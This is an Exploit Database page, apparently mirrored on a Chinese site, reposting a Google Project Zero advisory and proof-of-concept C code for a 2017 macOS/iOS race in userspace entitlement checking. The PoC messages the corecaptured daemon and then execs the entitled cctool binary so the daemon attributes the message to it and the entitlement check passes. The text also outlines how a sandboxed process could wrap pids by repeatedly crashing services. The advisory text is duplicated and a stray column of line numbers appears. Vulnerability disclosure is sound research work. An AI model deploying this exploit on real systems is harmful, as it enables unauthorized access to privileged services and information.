Apple macOS 10.12.3 / iOS < 10.3.2 - Userspace Entitlement Checking Race Condition

Exploit Database
126 阅读

作者： Google Security Research

日期： 2017-06-09
类别：
- local
平台：
- multiple
来源：https://www.exploit-db.com/exploits/42145/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1223

One way processes in userspace that offer mach services check whether they should perform an action on

behalf of a client from which they have received a message is by checking whether the sender possesses a certain entitlement.

These decisions are made using the audit token which is appended by the kernel to every received mach message.

The audit token contains amongst other things the senders uid, gid, ruid, guid, pid and pid generation number (p_idversion.)

The canonical way which userspace daemons check a message sender's entitlements is as follows:

audit_token_t tok;

xpc_connection_get_audit_token(conn, &tok);

SecTaskRef sectask = SecTaskCreateWithAuditToken(kCFAllocatorDefault, tok);

CFErrorRef err;

CFTypeRef entitlement = SecTaskCopyValueForEntitlement(sectask, CFSTR("com.apple.an_entitlement_name"), &err);

/* continue and check that entitlement is non-NULL, is a CFBoolean and has the value CFBooleanTrue */

The problem is that SecTaskCreateWithAuditToken only uses the pid, not also the pid generation number

to build the SecTaskRef:

SecTaskRef SecTaskCreateWithAuditToken(CFAllocatorRef allocator, audit_token_t token)

{

SecTaskRef task;

task = SecTaskCreateWithPID(allocator, audit_token_to_pid(token));

...

This leaves two avenues for a sender without an entitlement to talk to a service which requires it:

a) If the process can exec binaries then they can simply send the message then exec a system binary with that entitlement.

This pid now maps to the entitlements of that new binary.

b) If the process can't exec a binary (it's in a sandbox for example) then exploitation is still possible if the processes has the ability to

crash and force the restart of a binary with that entitlement (a common case, eg via an OOM or NULL pointer deref in a mach service.)

The attacker process will have to crash and force the restart of a process with the entitlement a sufficient number of times to wrap

the next free pid around such that when it sends the request to the target then forces the entitled process to crash it can crash itself and

have its pid reused by the respawned entitled process.

Scenario b) is not so outlandish, such a setup could be achieved via a renderer bug with ability to gain code execution in new renderer processes

as they are created.

You would also not necessarily be restricted to just being able to send one mach message to the target service as there's no

constraint that a mach message's reply port has to point back to the sending process; you could for example stash a receive right with

another process or launchd so that you can still engage in a full bi-directional communication with the target service even

if the audit token was always checked.

The security implications of this depend on what the security guarantees of entitlements are. It's certainly the case that this enables

you to talk to a far greater range of services as many system services use entitlement checks to restrict their clients to a small number

of whitelisted binaries.

This may also open up access to privileged information which is protected by the entitlements.

This PoC just demonstrates that we can send an xpc message to a daemon which expects its clients to have the "com.apple.corecapture.manager-access"

entitlement and pass the check without having that entitlement.

We'll target com.apple.corecaptured which expects that only the cctool or sharingd binaries can talk to it.

use an lldb invocation like:

sudo lldb -w -n corecaptured

then run this poc and set a breakpoint after the hasEntitlement function in the CoreCaptureDaemon library.

You'll notice that the check passes and our xpc message has been received and will now be processes by the daemon.

Obviously attaching the debugger like this artificially increases the race window but by for example sending many bogus large messages beforehand

we could ensure the target service has many messages in its mach port queue to make the race more winnable.

PoC tested on MacOS 10.12.3 (16D32)

// ianbeer

#if 0

MacOS/iOS userspace entitlement checking is racy

One way processes in userspace that offer mach services check whether they should perform an action on

behalf of a client from which they have received a message is by checking whether the sender possesses a certain entitlement.

These decisions are made using the audit token which is appended by the kernel to every received mach message.

The audit token contains amongst other things the senders uid, gid, ruid, guid, pid and pid generation number (p_idversion.)

The canonical way which userspace daemons check a message sender's entitlements is as follows:

audit_token_t tok;

xpc_connection_get_audit_token(conn, &tok);

SecTaskRef sectask = SecTaskCreateWithAuditToken(kCFAllocatorDefault, tok);

CFErrorRef err;

CFTypeRef entitlement = SecTaskCopyValueForEntitlement(sectask, CFSTR("com.apple.an_entitlement_name"), &err);

/* continue and check that entitlement is non-NULL, is a CFBoolean and has the value CFBooleanTrue */

The problem is that SecTaskCreateWithAuditToken only uses the pid, not also the pid generation number

to build the SecTaskRef:

SecTaskRef SecTaskCreateWithAuditToken(CFAllocatorRef allocator, audit_token_t token)

{

SecTaskRef task;

task = SecTaskCreateWithPID(allocator, audit_token_to_pid(token));

...

This leaves two avenues for a sender without an entitlement to talk to a service which requires it:

a) If the process can exec binaries then they can simply send the message then exec a system binary with that entitlement.

This pid now maps to the entitlements of that new binary.

b) If the process can't exec a binary (it's in a sandbox for example) then exploitation is still possible if the processes has the ability to

crash and force the restart of a binary with that entitlement (a common case, eg via an OOM or NULL pointer deref in a mach service.)

The attacker process will have to crash and force the restart of a process with the entitlement a sufficient number of times to wrap

the next free pid around such that when it sends the request to the target then forces the entitled process to crash it can crash itself and

have its pid reused by the respawned entitled process.

Scenario b) is not so outlandish, such a setup could be achieved via a renderer bug with ability to gain code execution in new renderer processes

as they are created.

You would also not necessarily be restricted to just being able to send one mach message to the target service as there's no

constraint that a mach message's reply port has to point back to the sending process; you could for example stash a receive right with

another process or launchd so that you can still engage in a full bi-directional communication with the target service even

if the audit token was always checked.

The security implications of this depend on what the security guarantees of entitlements are. It's certainly the case that this enables

you to talk to a far greater range of services as many system services use entitlement checks to restrict their clients to a small number

of whitelisted binaries.

This may also open up access to privileged information which is protected by the entitlements.

This PoC just demonstrates that we can send an xpc message to a daemon which expects its clients to have the "com.apple.corecapture.manager-access"

entitlement and pass the check without having that entitlement.

We'll target com.apple.corecaptured which expects that only the cctool or sharingd binaries can talk to it.

use an lldb invocation like:

sudo lldb -w -n corecaptured

then run this poc and set a breakpoint after the hasEntitlement function in the CoreCaptureDaemon library.

You'll notice that the check passes and our xpc message has been received and will now be processes by the daemon.

Obviously attaching the debugger like this artificially increases the race window but by for example sending many bogus large messages beforehand

we could ensure the target service has many messages in its mach port queue to make the race more winnable.

PoC tested on MacOS 10.12.3 (16D32)

#endif

#include <errno.h>

#include <stdio.h>

#include <stdlib.h>

#include <mach/mach.h>

#include <xpc/xpc.h>

void exec_blocking(char* target, char** argv, char** envp) {

// create the pipe

int pipefds[2];

pipe(pipefds);

int read_end = pipefds[0];

int write_end = pipefds[1];

// make the pipe nonblocking so we can fill it

int flags = fcntl(write_end, F_GETFL);

flags |= O_NONBLOCK;

fcntl(write_end, F_SETFL, flags);

// fill up the write end

int ret, count = 0;

do {

char ch = ' ';

ret = write(write_end, &ch, 1);

count++;

} while (!(ret == -1 && errno == EAGAIN));

printf("wrote %d bytes to pipe buffer\n", count-1);

// make it blocking again

flags = fcntl(write_end, F_GETFL);

flags &= ~O_NONBLOCK;

fcntl(write_end, F_SETFL, flags);

// set the pipe write end to stdout/stderr

dup2(write_end, 1);

dup2(write_end, 2);

execve(target, argv, envp);

}

xpc_connection_t connect(char* service_name){

xpc_connection_t conn = xpc_connection_create_mach_service(service_name, NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);

xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {

xpc_type_t t = xpc_get_type(event);

if (t == XPC_TYPE_ERROR){

printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));

}

printf("received an event\n");

});

xpc_connection_resume(conn);

return conn;

}

int main(int argc, char** argv, char** envp) {

xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);

xpc_dictionary_set_string(msg, "CCConfig", "hello from a sender without entitlements!");

xpc_connection_t conn = connect("com.apple.corecaptured");

xpc_connection_send_message(conn, msg);

// exec a binary with the entitlement to talk to that daemon

// make sure it doesn't exit by giving it a full pipe for stdout/stderr

char* target_binary = "/System/Library/PrivateFrameworks/CoreCaptureControl.framework/Versions/A/Resources/cctool";

char* target_argv[] = {target_binary, NULL};

exec_blocking(target_binary, target_argv, envp);

return 0;

}